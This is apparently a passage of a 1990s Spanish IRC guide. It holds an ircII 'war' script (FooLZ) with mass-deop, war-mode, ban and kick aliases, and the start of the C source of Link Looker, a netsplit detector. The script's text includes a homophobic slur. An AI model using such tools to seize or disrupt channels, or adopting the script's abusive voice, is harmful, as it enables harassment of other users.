EXEC echo "$BOLD$MSG_BRACE_1$BOLD$0$BOLD$MSG_BRACE_2 $1-" >> ~/.FooLZ.aWaY
NOTICE $0 [FooLZ] $N iZ aWaY - $AWAY_MSG
NOTICE $0 [FooLZ] BuT We GoT YoUR MeSG aND WiLL SHooT iT To 'eM LaTaH - PHeAR
} {
ECHO $BOLD$MSG_BRACE_1$BOLD$0$BOLD$MSG_BRACE_2 $1-
}
}
}
}
ON #-MSG 111 * ^ADDMSG $0 $MSGLIST
ON ^SEND_MSG "* *" ECHO $BOLD$MSG_BRACE_1$BOLD$0$BOLD$MSG_BRACE_2$BOLD $1-
ON #-SEND_MSG 111 * ^ADDMSG $0 $MSGLIST
ON ^PUBLIC "% % !op*" {
OP_BEGGER $0-
}
ON -PUBLIC "* phear BoW*" {
MODE $1 +v $0
NOTICE $0 AuTo-VoP FoR BoW PHeAReRz
}
ON ^PUBLIC "% % *PROTECTION ACTIVATED*" {
MSG $0 [FooLZ] *** MASS LAMER PROTECTION ACTIVATED ***
KICK $1 $0 [FooLZ] *** MASS LAMER PROTECTION ACTIVATED ***
}
ON #-RAW_IRC -252 "% KICK % *" IF ([$3]==N){QUOTE JOIN $2}
ON ^MODE "% #% *" {
IF ((RMATCH($0 *.*))&&(RMATCH($2 *+*o*))) {
IF (([$WARMODE]==[ON])&&(ISCHANOP($N $C))) {
MODE $1 -ooo $3-
ECHO [FooLZ] IRC HaQR DeTeCTeD FrOM $0 oN $1 HaQiNG aWPZ: '$3-'
NOTICE $1 [FooLZ] IRC HaQR DeTeCTeD FrOM $0 oN $1 HaQiNG aWPZ: '$3-'
NOTICE $1 [FooLZ] - [FooLZ iZ iN WaRMoDE] server ops revoked.
} {
REAL_MODE $0-
}
} {
IF (RMATCH($2 *-oo*)) {
IF ([$WARMODE]==[ON]) {
IF (ISCHANOP($N, $C)) {
IF ([$0] != [$N]) {
MODE $1 -o $0
ECHO [FooLZ] MaSS De-aWP DeTeCTeD By $0!
NOTICE $1 [FooLZ] MaSS De-aWP DeTeCTeD By $0 - aWPz ReVoKeD!
}
} {
REAL_MODE $0-
}
} {
REAL_MODE $0-
}
} {
IF (RMATCH($2 *+b*)) {
IF (RMATCH($FOOLZ_INFO $3)) {
BAN_THIS_BITCH $0 $1 $3
}
IF (RMATCH($FOOLZ_INFO $4)) {
BAN_THIS_BITCH $0 $1 $4
}
IF (RMATCH($FOOLZ_INFO $5)) {
BAN_THIS_BITCH $0 $1 $5
}
IF (RMATCH($FOOLZ_INFO $6)) {
BAN_THIS_BITCH $0 $1 $6
}
}
REAL_MODE $0-
}
}
}
ON -ACTION * {
IF (MATCH($N $2-)) {
IF (ISCHANOP($N $C)) {
IF ([$WARMODE]==[ON]) {
KICK $C $0 [FooLZ SPlATTeR PRoTeCTiON]
}{
MODE $C -o $0
NOTICE $0 [FooLZ] SPlATTeR KiCK PRoTeCTiON ACtiVaTeD
}
}
}
}
ON -JOIN * {
^ASSIGN JCHAN $1
USERHOST $0 -CMD IF ([$3]) {
^ASSIGN USERSITE $3@$4
IF (MATCH($USERSITE $AUTOOP)) {
IF (ISCHANOP($N $JCHAN)) {
MODE $JCHAN +ooo $0 $0 $0
NOTICE $0 [FooLZ] aUTo-aWP FoR ELiTE d00dzZ!!
}
}
}
^ASSIGN -USERSITE
^ASSIGN -FUQQ
}
# DaveMan's Ban2 for 2.2 clients - 4/15/93
# Discription: Easy to use aliases to unban by login given a nick.
ALIAS DBAN {
IF ([$0]) {
USERHOST $0 -CMD ^ASSIGN DABAN $$0!$$3@$$4
NOTICE $0 [FooLZ] Your ban is cleared from $C - FooLZ Courtesy of BoW -
} {
USERHOST $N -CMD ^ASSIGN DABAN $$0!$$3@$$4
}
^ON ^367 * IF (RMATCH($DABAN $2)){ @ BL = [$BL $2] }
^ASSIGN CNT 0
^MODE $C +b
WAIT
WHILE (WORD($CNT $BL)){
UB4 $WORD($CNT $BL) $WORD(${CNT+1} $BL) $WORD(${CNT+2} $BL)
@ CNT = CNT + 3
}
^ASSIGN -BL
^ASSIGN -CNT
^ON ^367 -
}
ALIAS CLEARBAN {
^ON ^367 * {
@ BL = [$2 $BL]
}
^ASSIGN CNT 0
^MODE $C +b
WAIT
WHILE (WORD($CNT $BL)){
UB4 $WORD($CNT $BL) $WORD(${CNT+1} $BL) $WORD(${CNT+2} $BL)
@ CNT = CNT + 3
}
^ASSIGN -BL
^ASSIGN -CNT
^ON ^367 -*
}
ALIAS CM {
/MODE $C -k$M
}
ALIAS UB4 {
IF ([$2]!=[]) {
MODE $C -bbb $0-2
} {
IF (([$1]!=[])&&([$2]==[])) {
MODE $C -bb $0-1
} {
IF (([$0]!=[])&&([$1]==[])) {
MODE $C -b $0
}
}
}
}
# This is from a script called bans by Tychy.
# Randomized ban version 1.27
# Written by Lance Herron (A.k.a. Tychy)
ALIAS BAN {
IF ([$0]) {
USERHOST $0 -CMD PHEAR $$4
NOTICE $0 [FooLZ] You have been banned from $C - FooLZ courtesy of BoW -
NOTICE $0 [FooLZ] phear BoW.
} {
SHOW_USAGE /BAN
}
}
ALIAS PHEAR {
@ _HOST = [$0]
@ RANUMH = RAND($@_HOST)
@ SCRBAN = [*!*@] ## SCRFNC($RANUMH $0)
MODE $C +b $SCRBAN
^ASSIGN -_HOST
^ASSIGN -RANUMH
^ASSIGN -SCRBAN
}
ASSIGN scros.0 ?
ASSIGN scros.1 ?
ASSIGN scros.2 *
ASSIGN scros.3 ?
ALIAS SCRFNC {
@ NUMQUES = [$0]
@ LNUMQ = 0
@ TEMPSCR = [$1]
@ TOSCREWN = [$@TEMPSCR]
WHILE (LNUMQ < NUMQUES) {
@ TEMPRAND = RAND($TOSCREWN)
@ TEMPSCR = LEFT($TEMPRAND $TEMPSCR) ## SCROS[$RAND(3)] ## RIGHT(${ TOSCREWN - (TEMPRAND + 1) } $TEMPSCR)
@ LNUMQ = LNUMQ + 1
}
@ FUNCTION_RETURN = [$TEMPSCR]
}
# Stuff from davemans
ALIAS REMOVE {
@ TCNT = 0
@ TEMP = []
@ $1 = [$($1) XX]
WHILE (WORD($TCNT $($1))!=[XX]) {
if ([$0]!=WORD($TCNT $($1))) {
@ TEMP = [$TEMP $WORD($TCNT $($1))]
}
@ TCNT = TCNT + 1
}
@ $1 = [$TEMP]
^ASSIGN -TEMP
}
ALIAS ADDMSG {
IF (MATCH($0 $MSGLIST)) {
REMOVE $0 MSGLIST
@ MSGLIST = [$0 $MSGLIST]
@ MSGCNT = 0
} {
@ MSGLIST = [$0-9]
@ MSGCNT = 0
}
}
ALIAS GETMSG {
TYPE ^U/MSG $($MSGCNT)
@ MSGCNT = MSGCNT + 1
IF (#MSGLIST= MDOPCNT)
{
/QUOTE MODE $C -ooo $word($mdopcnt $mdopz) $word(${mdopcnt+1} $mdopz) $word(${mdopcnt+2} $mdopz)
@ MDOPCNT = MDOPCNT + 3
}
^ASSIGN -MDOPZ
^ASSIGN -MDOPCNT
NOTICE $C [FooLZ] A Mass De-Vop has been performed.
}
}
ALIAS MVOP
{
IF (!ISCHANOP($N $C)) {
NOT_OPPED mass vop.
} {
^SET DISPLAY OFF
^ASSIGN -MDOPZ
^ON -WHO *
{
IF ([$1]!=[$N])
{
^ASSIGN MDOPZ $1 ${MDOPZ}
}
}
^WHO *
WAIT
^SET DISPLAY ON
@ MDOPCNT = 0
WHILE ([$(#MDOPZ)] >= MDOPCNT)
{
/QUOTE MODE $C +vvv $word($mdopcnt $mdopz) $word(${mdopcnt+1} $mdopz) $word(${mdopcnt+2} $mdopz)
@ MDOPCNT = MDOPCNT + 3
}
^ASSIGN -MDOPZ
^ASSIGN -MDOPCNT
NOTICE $C [FooLZ] A Mass Vop has been performed.
}
}
ALIAS MDVOP
{
IF (!ISCHANOP($N $C)) {
NOT_OPPED mass de-vop.
} {
^SET DISPLAY OFF
^ASSIGN -MDOPZ
^ON -WHO *
{
IF ([$1]!=[$N])
{
^ASSIGN MDOPZ $1 ${MDOPZ}
}
}
^WHO *
WAIT
^SET DISPLAY ON
@ MDOPCNT = 0
WHILE ([$(#MDOPZ)] >= MDOPCNT)
{
/QUOTE MODE $C -vvv $word($mdopcnt $mdopz) $word(${mdopcnt+1} $mdopz) $word(${mdopcnt+2} $mdopz)
@ MDOPCNT = MDOPCNT + 3
}
^ASSIGN -MDOPZ
^ASSIGN -MDOPCNT
NOTICE $C [FooLZ] A Mass De-Vop has been performed.
}
}
alias mop
{
IF (!ISCHANOP($N $C)) {
NOT_OPPED mass op.
} {
^SET DISPLAY OFF
^ASSIGN -MDOPZ
^ON -WHO *
{
IF (([$1]!=[$N])&&(!ISCHANOP($1 $C)))
{
^ASSIGN MDOPZ $1 ${MDOPZ}
}
}
^WHO *
WAIT
^SET DISPLAY ON
@ MDOPCNT = 0
WHILE ([$(#MDOPZ)] >= MDOPCNT)
{
/QUOTE MODE $C +ooo $word($mdopcnt $mdopz) $word(${mdopcnt+1} $mdopz) $word(${mdopcnt+2} $mdopz)
@ MDOPCNT = MDOPCNT + 3
}
^ASSIGN -MDOPZ
^ASSIGN -MDOPCNT
NOTICE $C [FooLZ] A Mass Op has been performed.
}
}
# Now some BoW Stuff
ALIAS W {
IF ([$0]) {
WHO $0-
} {
IF ([$C]) {
WHO $C
} {
ECHO [FooLZ] FoOL!!! YoU MuST SPeCiFY a CHaNNeL oR Be oN oNE!
}
}
}
ALIAS J JOIN
ALIAS M {
IF ([$0]) {
IF (ISCHANNEL($0)) {
MODE $0-
} {
MODE $C $0-
}
} {
MODE $C
}
}
ALIAS T {
IF ([$0]) {
IF (ISCHANNEL($0)) {
TOPIC $0-
} {
TOPIC $C $0-
}
} {
IF ([$C]) {
TOPIC $C
} {
ECHO [FooLZ] FoOL!!! YoU MuST Be oN a CHaNNeL oR SpECiFY oNE
}
}
}
ALIAS L {
IF ([$0]) {
PART $0-
} {
PART $C
}
}
# Auto-op - idea taken from infitiy or toolz or one of those lame scripts
# The source is entirely original however.. I have never seen the source
# for the other dudes ways... only stole their idea..
ALIAS AOP {
^ASSIGN FUQU \'s
^ASSIGN -PERSON
IF ([$0]) {
USERHOST $0 -CMD IF ([$3]) {
^ASSIGN PERSON $3@$4
IF ([$3]==[]) {
ECHO [FooLZ] FoOL!@!! No SuCH NiCK $0
} {
IF (MATCH($PERSON $AUTOOP)) {
ECHO [FooLZ] FoOL!! $PERSON iZ aLREaDY iN YeR aUTo-Op LiST
} {
ECHO [FooLZ] aDDiNG $0 2 YeR aUTo-Op LiST!
@ AUTOOP = [$PERSON $AUTOOP]
NOTICE $0 [FooLZ] Y00 HaVE BeEN aDDeD To $N$FUQU aUTo-Op LiST
NOTICE $0 [FooLZ] FooLZ iZ KoURTiSY oF BoW - pHeAR BoW.
EXEC echo "RELOADAOP $PERSON" >> ~/.FooLZrc
IF ((!ISCHANOP($0 $C))&&(ISCHANOP($N $C))) {
MODE $C +o $0
}
}
}
}
} {
SHOW_USAGE /AOP
}
^ASSIGN -FUQU
^ASSIGN -PERSON
}
# called from the file...
ALIAS RELOADAOP {
IF ([$0]) {
@ AUTOOP = [$0 $AUTOOP]
}
}
ALIAS DAOP {
^ASSIGN -PERSON
^ASSIGN -NEWOPLIST
^ASSIGN -TEMPOP
IF ([$0]) {
USERHOST $0 -CMD IF ([$3]) {
^ASSIGN PERSON $3@$4
IF (MATCH($PERSON $AUTOOP)) {
^ASSIGN OPCOUNT 0
WHILE ([$(#AUTOOP)] >= OPCOUNT) {
@ TEMPOP = WORD($OPCOUNT $AUTOOP)
IF ([$PERSON]==[$TEMPOP]) {
EXEC grep -v $PERSON ~/.FooLZrc > ~/.FooLZ.bak \; mv ~/.FooLZ.bak ~/.FooLZrc
ECHO [FooLZ] $0 HaZ BeEN ReMoVeD FRoM YoUR oP LiST!
} {
@ NEWOPLIST = [$NEWOPLIST $TEMPOP]
}
@ OPCOUNT = OPCOUNT + 1
}
@ AUTOOP = [$NEWOPLIST]
} {
ECHO [FooLZ] FoOL!!! $0 iZ NoT iN YoUR AuTo-aWP LiZT!
}
}
} {
SHOW_USAGE /DAOP
}
^ASSIGN -PERSON
^ASSIGN -OPCOUNT
^ASSIGN -NEWOPLIST
^ASSIGN -TEMPOP
}
ALIAS SAOP {
ECHO [FooLZ] YoUR aUTo-Op LiZT iZ: $AUTOOP
}
# When you are away, set logging to on..
ALIAS LOG {
^ASSIGN IS_AWAY YES
ECHO [FooLZ] LoGGiNG aLL MeSGz
}
ALIAS AWAY {
IF ([$0]) {
LOG
ECHO [FooLZ] Y00 HaVE BeEN MaRKeD aS aWaY!!@
^ASSIGN AWAY_MSG $0-
^SET STATUS_FORMAT Y00 aRe MaRKeD aZ aWaY - ReASoN: $AWAY_MSG - BoW '94 - %>%U%M%X%Y%Z
^SET DISPLAY OFF
^SET DISPLAY ON
} {
^SET DISPLAY OFF
^SET DISPLAY ON
^ASSIGN IS_AWAY NO
^ASSIGN -AWAY_MSG
^SET STATUS_FORMAT %T %*%@%N%#%S%H%B%Q%A%C%+%I%O%F %W%>%U%M%X%Y%Z
ECHO [FooLZ] MeSGz SeNT T00 Y00 WHiLE Y00 WeRE aWAY
EXEC cat /dev/null >> ~/.FooLZ.aWaY \; cat ~/.FooLZ.aWaY \; rm -f ~/.FooLZ.aWaY
}
}
ALIAS K {
^ASSIGN FUQU FooLZ
^ASSIGN KNOTE $BOLD$MSG_BRACE_1$FUQU K-KiCK]$BOLD
^ASSIGN -FUQU
^ASSIGN KCHAN $C
^ASSIGN KLIST -
^ASSIGN KOUNT 0
^ASSIGN KKONT 0
^ASSIGN KTEMP -
^ASSIGN KNICK
IF ([$0]) {
IF (!ISCHANOP($N $C)) {
NOT_OPPED K-KiCK Someone.
} {
IF (ISCHANNEL($0)) {
@ KCHAN = [$0]
@ KLIST = [$1-]
} {
@ KLIST = [$0-]
}
WHILE ([$(#KLIST)] > KOUNT) {
@ KTEMP = WORD($KOUNT $KLIST)
@ KOUNT = KOUNT + 1
IF ([$KKONT]==[0]) {
IF (ISONCHAN($KTEMP $KCHAN)) {
@ KNICK = [$KNICK $KTEMP]
} {
@ KKONT = 1
@ KNOTE = [$KNOTE $KTEMP]
}
} {
@ KNOTE = [$KNOTE $KTEMP]
}
}
@ KOUNT = 0
IF ([$KNICK] == []) {
SHOW_USAGE /K [channel] [nick2] [nick3] [comments]
} {
WHILE ([$(#KNICK)] > KOUNT) {
@ KTEMP = WORD($KOUNT $KNICK)
KICK $KCHAN $KTEMP $KNOTE
NOTICE $KTEMP [FooLZ] You have been kicked from channel $KCHAN - $KNOTE
@ KOUNT = KOUNT + 1
}
}
}
} {
SHOW_USAGE /K [channel] [nick2] [nick3] [comments]
}
^ASSIGN -KNOTE
^ASSIGN -KCHAN
^ASSIGN -KLIST
^ASSIGN -KOUNT
^ASSIGN -KKONT
^ASSIGN -KTEMP
^ASSIGN -KNICK
}
ALIAS WAR {
IF ([$WARMODE]==[ON]) {
^ASSIGN WARMODE OFF
ECHO [FooLZ] Yo0 ARe No LoNG3R iN$BOLD WaR-MoDE$BOLD
NOTICE $C [FooLZ] [$BOLD WaRMoDE$BOLD iS NoW oFF ]
} {
^ASSIGN WARMODE ON
ECHO [FooLZ] Yo0 ARe NoW iN$BOLD WaR-MoDE$BOLD
NOTICE $C [FooLZ] [$BOLD WaRMoDE$BOLD iS NoW oN ]
}
}
ALIAS SNOOP {
IF ([$SNOOP_MODE]==[OFF]) {
^ASSIGN SNOOP_MODE ON
ECHO [FooLZ] Yo0 ARe NoW iN$BOLD SNo0P-MoDE$BOLD
ECHO [FooLZ] [MeSSaGeZ SeNT T0 Yo0 WHiLE aWaY WiLL Be DisPLaYeD]
} {
^ASSIGN SNOOP_MODE OFF
ECHO [FooLZ] Yo0 ARe No LoNGeR iN$BOLD SNo0P-MoDE$BOLD
ECHO [FooLZ] [MeSSaGeZ SeNT T0 Yo0 WHiLE aWaY WiLL N0T Be DisPLaYeD]
}
}
ALIAS SHOW {
ECHO [FooLZ] -++ FooLZ SeTTiNGz ++-
ECHO [FooLZ] --+ FooLZ iZ KoURTiSY oF BoW - PHeAR BoW +--
ECHO [FooLZ] --+ "ONLY A FooL WoULD uSE FooLZ!" +--
ECHO [FooLZ] +------------------------------------------+
IF ([$WARMODE]==[ON]) {
ECHO [FooLZ] WARMODE IS:$BOLD ON
}{
ECHO [FooLZ] WARMODE IS:$BOLD OFF
}
IF ([$SNOOP_MODE]==[ON]) {
ECHO [FooLZ] SNOOPMODE IS:$BOLD ON
}{
ECHO [FooLZ] SNOOPMODE IS:$BOLD OFF
}
IF ([$IS_AWAY]==[YES]) {
ECHO [FooLZ] AWAY IS:$BOLD ON
}{
ECHO [FooLZ] AWAY IS:$BOLD OFF
}
}
ALIAS BEG {
^ASSIGN -CHANLIST
^ASSIGN CHANCNT 0
^ASSIGN -DACHANOP
IF (![$C]) {
ECHO [FooLZ] FoOL!! Yo0 MuST Be oN a CHaNNeL To BeG FoR aWPz
}{
IF (ISCHANOP($N $C)) {
ECHO [FooLZ] Fo0L!!! Yo0 R aLReADY aWPeD!!
} {
^ON -NAMES * {
^ASSIGN CHANLIST $1-
WHILE ([$(#CHANLIST)] > CHANCNT) {
^ASSIGN DACHANOP $WORD($CHANCNT $CHANLIST)
IF (RMATCH($DACHANOP @*)) {
^ASSIGN NNX $@DACHANOP
@ NNX = NNX - 1
@DACHANOP = RIGHT($NNX $DACHANOP)
NOTICE $DACHANOP [FooLZ aWP BeG] Y0Y0Y0Y0... SMaK Me WiT DaH PLuS oH! - PHeAR BoW -
}
@ CHANCNT = CHANCNT + 1
}
}
^SET DISPLAY OFF
^NAMES $C
WAIT
^SET DISPLAY ON
ECHO [FooLZ] BeGGiN FoR DaH oPZ
}
}
^ASSIGN -NNX
^ASSIGN -CHANLIST
^ASSIGN -CHANCNT
^ASSIGN -DACHANOP
}
ALIAS TELL_USER {
IF ([$0]) {
IF ([$1]) {
NOTICE $0 [FooLZ] You have been $1. - FooLZ courtesy of BoW -
} {
SHOW_USAGE /TELL_USER
}
} {
SHOW_USAGE /TELL_USER
}
}
ALIAS OP {
IF (!ISCHANOP($N $C)) {
NOT_OPPED OP Someone.
} {
IF ([$0]) {
IF ([$1]) {
IF ([$2]) {
MODE * +ooo $0 $1 $2
IF (([$2]!=[$1])&&([$2]!=[$0])) {
TELL_USER $2 opped
}
} {
MODE * +oo $0 $1
}
IF ([$1]!=[$0]) {
TELL_USER $1 opped
}
} {
MODE * +o $0
}
TELL_USER $0 opped
} {
SHOW_USAGE /OP [nick2] [nick3]
}
}
}
ALIAS DOP {
IF (!ISCHANOP($N $C)) {
NOT_OPPED DOP Someone.
} {
IF ([$0]) {
IF ([$1]) {
IF ([$2]) {
MODE * -ooo $0 $1 $2
IF (([$2]!=[$1])&&([$2]!=[$0])) {
TELL_USER $2 de-opped
}
} {
MODE * -oo $0 $1
}
IF ([$1]!=[$0]) {
TELL_USER $1 de-opped
}
} {
MODE * -o $0
}
TELL_USER $0 de-opped
} {
SHOW_USAGE /DOP [nick2] [nick3]
}
}
}
ALIAS VOP {
IF (!ISCHANOP($N $C)) {
NOT_OPPED VOP Someone.
} {
IF ([$0]) {
IF ([$1]) {
IF ([$2]) {
MODE * +vvv $0 $1 $2
IF (([$2]!=[$1])&&([$2]!=[$0])) {
TELL_USER $2 vopped
}
} {
MODE * +vv $0 $1
}
IF ([$1]!=[$0]) {
TELL_USER $1 vopped
}
} {
MODE * +v $0
}
TELL_USER $0 vopped
} {
SHOW_USAGE /VOP [nick2] [nick3]
}
}
}
ALIAS DVOP {
IF (!ISCHANOP($N $C)) {
NOT_OPPED DVOP Someone.
} {
IF ([$0]) {
IF ([$1]) {
IF ([$2]) {
MODE * -vvv $0 $1 $2
IF (([$2]!=[$1])&&([$2]!=[$0])) {
TELL_USER $2 de-vopped
}
} {
MODE * -vv $0 $1
}
IF ([$1]!=[$0]) {
TELL_USER $1 de-vopped
}
} {
MODE * -v $0
}
TELL_USER $0 de-vopped
} {
SHOW_USAGE /DVOP [nick2] [nick3]
}
}
}
ALIAS FooL {
^SET HOLD_MODE ON
ECHO +----------------------------------------------------------------------+
ECHO | $BOLD FooLZ 4 iRC BRoUGHT 2 U By BoW$BOLD |
ECHO | OK SCRiPT FaGG0T, HeRe'S YoUR oPTiONS: |
ECHO | |
ECHO | Commands: |
ECHO | $BOLD/BAN $BOLD - Ban user nick from current channel |
ECHO | $BOLD/DBAN $BOLD - Unban user nick from current channel|
ECHO | $BOLD/CLEARBAN $BOLD - Clear the current channels bans |
ECHO | $BOLD/CM $BOLD - Clear the current channels modes |
ECHO | $BOLD/K [channel] [nick2] [nick3] [comments]$BOLD - Kick users |
ECHO | $BOLD/OP [nick2] [nick3]$BOLD - Op user nick on current channel |
ECHO | $BOLD/DOP [nick2] [nick3]$BOLD - De-op user nick on current channel |
ECHO | $BOLD/VOP [nick2] [nick3]$BOLD - Vop user nick on current channel |
ECHO | $BOLD/DVOP [nick2] [nick3]$BOLD - Vop user nick on current channel |
ECHO | $BOLD/MOP $BOLD - Mass-Op the channel |
ECHO | $BOLD/MDOP$BOLD - Mass-De-op the channel |
ECHO | $BOLD/MVOP$BOLD - Mass-Vop the channel |
ECHO | $BOLD/MDVOP$BOLD - Mass-De-vop the channel |
ECHO | $BOLD/WAR$BOLD - Toggle FooLZ War-mode |
ECHO | $BOLD/SNOOP$BOLD - Toggle showing messages while away |
ECHO | $BOLD/BEG$BOLD - Beg for ops on the current channel |
ECHO | $BOLD/AOP $BOLD - Add nick to your auto-op list |
ECHO | $BOLD/DAOP $BOLD - Remove nick from your auto-op list |
ECHO | $BOLD/SAOP$BOLD - Display your auto-op list |
ECHO | $BOLD/M [channel] [mode]$BOLD - Display/set channel mode |
ECHO | $BOLD/W [channel]$BOLD - Displays a who list, def=current |
ECHO | $BOLD/L [channel]$BOLD - Leaves a channel - default=current |
ECHO | $BOLD/SHOW$BOLD - Displays all FooLZ Toggles |
ECHO | |
ECHO | HeY SKRiPT PuPPY - oTHeR FeATuReZ iNKLuDE - aWaY MsG LoGGiNG, |
ECHO | SPLaTTeR KiCK PRoTeCTiON & SoME oTHeR STuFF i FoRGoT |
ECHO | |
ECHO | Press ESC to toggle through message list. |
ECHO +----------------------------------------------------------------------+
^SET HOLD_MODE OFF
}
ECHO [FooLZ] Loading completed.
ECHO [FooLZ]
ECHO [FooLZ] -BoW- -BoW-
ECHO [FooLZ] -BoW- *************************************** -BoW-
ECHO [FooLZ] -BoW- -BoW- * FooLZ 4 IRC - BRoUGHT To YoU By BoW * -BoW- -BoW-
ECHO [FooLZ] -BoW- -BoW- * FooLZ iZ KoPYWRoNG (K) 1994 By BoW * -BoW- -BoW-
ECHO [FooLZ] -BoW- -BoW- * iF YoU ArE LaME uSE: /FooL FoR HeLP * -BoW- -BoW-
ECHO [FooLZ] -BoW- *************************************** -BoW
ECHO [FooLZ] -BoW- -BoW-
ECHO [FooLZ]
GET_MAH_INFO
LOAD ~/.FooLZrc
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
11 - Un caballo de batalla : Link Looker .
Todavia queres saber mas , joer , por lo visto este guia te esta gustando :)
Pues aqui tambien volvemos a nuestro querido unix , ya que viene el
codigo fuente del Link Looker , pues este herramienta es una utilidad
la cual nos ayudara contra los split de los servidores :)
Si , otra vez de vuelta al C y al ingles .
-> Codigo fuente del Link Looker .
/*=============================================================*\
* ll.c - link looker *
* Copyright (C) 1994 by The Software System and lilo *
* Written by George Shearer (george@sphinx.biosci.wayne.edu) *
* Cleaned up to usability by lilo. :) *
* *
* September, 1994 - added help, version info and made the *
* program so you can actually use it. :) *
* --lilo *
* *
* October 14, 1994 - cleaned up output flushing so you can *
* actually watch in something like real *
* time. :) --lilo *
* *
* October 28, 1994 - kill -1 will now produce a list of SPLIT *
* servers. -Doc *
* *
* November 4, 1994 - should compile on non-POSIX systems now. *
* use -DHPSUCKS for HP-sUX systems 9.0x *
* November 15, 1994 - fixed a small bug in lilo's -h checker *
\*=============================================================*/
/* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/
/* Compiling examples:
regular old ANSI/C cc:
cc -O -s -o ll ll.c
HP-UX cc:
cc +O3 -Aa -s -DHPSUCKS -o ll ll.c
GNU GCC:
Linux:
gcc -O2 -fomit-frame-pointer -funroll-loops -m486 -s -Wall -o ll ll.c
BSD, SunOS 4.1.x, Slowaris 2.x, NeXT:
gcc -O2 -funroll-loops -s -Wall -o ll ll.c */
#define VERSION "1.06"
#define BUFSIZE 400 /* IRC Server buffer */
#define SERVER "irc.escape.com" /* IRC Server */
#define PORT 6667 /* IRC Port */
#define LDELAY 30 /* Loop delay seconds*/
#define TIMEOUT 30 /* connection timeout*/
#define ESTABLISHED 1
#define INPROGRESS 2
#define SPLIT 1
#ifdef HPSUCKS
#define _INCLUDE_HPUX_SOURCE
#define _INCLUDE_XOPEN_SOURCE
#define _INCLUDE_POSIX_SOURCE
#endif
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
unsigned short int session=0,link_count=0;
char in[BUFSIZE],out_buf[BUFSIZE],hostname[64];
char *ins=in;
char serverhost[81], nick[10], user[10], realname[81], lasttime[81];
time_t ltime;
struct irc_server {
char *name;
char *link;
unsigned short int status;
time_t time;
struct irc_server *next;
} *sl1=(struct irc_server *)0,*sl2=(struct irc_server *)0;
void do_ping(char *,char *);
void do_001(char *,char *);
void do_error(char *,char *);
void do_364(char *,char *);
void do_365(char *,char *);
/* prototyping is lame when the function is in the same
code, lilo outta just move the function before all
other functions that call it :-) */
char *stamp(time_t);
struct parsers {
char *cmd;
void (*func)(char *,char *);
} parsefuns[] = {
{ "PING", (void (*)())do_ping },
{ "001", (void (*)())do_001 },
{ "364",(void (*)())do_364 },
{ "365", (void (*)())do_365},
{ "ERROR",(void (*)())do_error},
{ (char *)0,(void (*)())0 }
};
struct sockaddr_in server;
int sock=0;
#ifndef sys_errlist
extern char *sys_errlist[];
#endif
#ifndef errno
extern int errno;
#endif
char *
mystrerror(int err) {
return(sys_errlist[err]);
}
unsigned long int
resolver(char *host) {
unsigned long int ip=0L;
if(host && *host && (ip=inet_addr(host))==-1) {
struct hostent *he;
int x=0;
while(!(he=gethostbyname((char *)host)) && x++<3) {
fprintf(stderr,"."); fflush(stderr);
sleep(1);
}
ip=(x<3) ? *(unsigned long *)he->h_addr_list[0] : 0L;
}
return(ip);
}
void
clean_sl2(void) {
while(sl2) {
struct irc_server *temp=sl2->next;
if(sl2->name)
free(sl2->name);
if(sl2->link)
free(sl2->link);
free(sl2);
sl2=temp;
}
sl2=(struct irc_server *)0;
}
void
exit_program(char *why) {
fprintf(stderr,"\nExiting program. (%s)\n",why);
if(sock)
close(sock);
while(sl1) {
struct irc_server *temp=sl1->next;
if(sl1->name)
free(sl1->name);
if(sl1->link)
free(sl1->link);
free(sl1);
sl1=temp;
}
clean_sl2();
if(in)
free(in);
exit(0);
}
int mystrccmp(register char *s1,register char *s2) {
while((((*s1)>='a'&&(*s1)<='z')?(*s1)-32:*s1)==
(((*s2)>='a'&&(*s2)<='z')?(*s2++)-32:*s2++))
if(*s1++==0) return 0;
return (*(unsigned char *)s1-*(unsigned char *)--s2);
}
char *mstrcpy(char **to,char *from) {
if(from) {
if((*to=(char *)malloc(strlen(from)+1)))
strcpy(*to,from);
}
else
*to=(char *)0;
return(*to);
}
char *digtoken(char **string,char *match) {
if(string && *string && **string) {
while(**string && strchr(match,**string))
(*string)++;
if(**string) { /* got something */
char *token=*string;
if((*string=strpbrk(*string,match))) {
*(*string)++=(char)0;
while(**string && strchr(match,**string))
(*string)++;
}
else
*string = ""; /* must be at the end */
return(token);
}
}
return((char *)0);
}
void signal_handler(void) {
exit_program("caught signal");
}
void signal_alarm(void) {
exit_program("timed out waiting for server interaction.");
}
void
out(void) {
int length=strlen(out_buf);
errno=0;
if(write(sock,out_buf,length)!=length)
exit_program(mystrerror(errno));
}
void
init_server(void) {
int length;
sprintf(out_buf,"USER %s %s %s :%s\nNICK %s\nMODE %s +is", \
user, user, user, realname, nick, nick);
length=strlen(out_buf);
errno=0;
if(write(sock,out_buf,length)==length) {
fputs("established\n",stderr);
session=ESTABLISHED;
alarm(TIMEOUT);
sprintf(out_buf,"LINKS\n");
out();
}
else
exit_program(mystrerror(errno));
}
void
heartbeat(void) {
strcpy(out_buf,"LINKS\n");
out();
signal(SIGALRM,(void (*)())heartbeat);
alarm(LDELAY);
}
void
do_364(char *from,char *left) {
struct irc_server *serv;
char *sv1,*sv2;
char *nick;
serv=(struct irc_server *)malloc(sizeof(struct irc_server));
serv->next=sl2;
serv->status=0;
nick=digtoken(&left," ");
sv1=digtoken(&left," ");
sv2=digtoken(&left," ");
mstrcpy(&serv->name,sv1);
mstrcpy(&serv->link,sv2);
sl2=serv;
}
int
findserv(struct irc_server *serv,char *name) {
for(;serv;serv=serv->next)
if(!mystrccmp(name,serv->name))
return(1);
return(0);
}
void
show_split(void) {
struct irc_server *serv=sl1;
signal(SIGHUP,(void (*)())show_split);
for(;serv;serv=serv->next) {
